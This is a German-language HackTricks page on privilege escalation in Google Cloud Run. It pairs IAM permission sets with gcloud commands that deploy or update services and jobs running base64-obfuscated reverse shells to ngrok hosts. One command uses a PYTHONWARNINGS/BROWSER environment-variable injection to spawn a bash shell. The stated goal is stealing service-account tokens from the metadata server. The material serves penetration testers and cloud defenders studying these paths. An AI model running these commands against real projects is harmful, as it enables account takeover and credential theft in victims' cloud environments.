GCP - Run Privesc

Support HackTricks

Cloud Run

Für weitere Informationen zu Cloud Run siehe:

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Ein Angreifer mit diesen Berechtigungen kann einen Run-Dienst erstellen, der beliebigen Code ausführt (beliebiges Docker-Container), ein Dienstkonto daran anhängen und den Code das Dienstkonto-Token aus den Metadaten exfiltrieren lassen.

Ein Exploit-Skript für diese Methode ist hier zu finden und das Docker-Image ist hier zu finden.

Beachten Sie, dass beim Verwenden von gcloud run deploy anstelle der bloßen Erstellung des Dienstes die Berechtigung update benötigt wird. Überprüfen Sie ein Beispiel hier.

run.services.update , iam.serviceAccounts.actAs

Wie der vorherige, aber zum Aktualisieren eines Dienstes:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Geben Sie sich vorherige Berechtigungen über Cloud Run.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Starten Sie einen Job mit einer Reverse-Shell, um das im Befehl angegebene Dienstkonto zu stehlen. Sie finden einen Exploit hier.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Ähnlich wie beim vorherigen ist es möglich, einen Job zu aktualisieren und das SA zu aktualisieren, den Befehl und auszuführen:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Geben Sie sich die vorherigen Berechtigungen für Cloud-Jobs.

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Missbrauchen Sie die Umgebungsvariablen einer Jobausführung, um beliebigen Code auszuführen und eine Reverse-Shell zu erhalten, um den Inhalt des Containers (Quellcode) zu dumpen und auf die SA in den Metadaten zuzugreifen:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

Referenzen

Unterstütze HackTricks

Last updated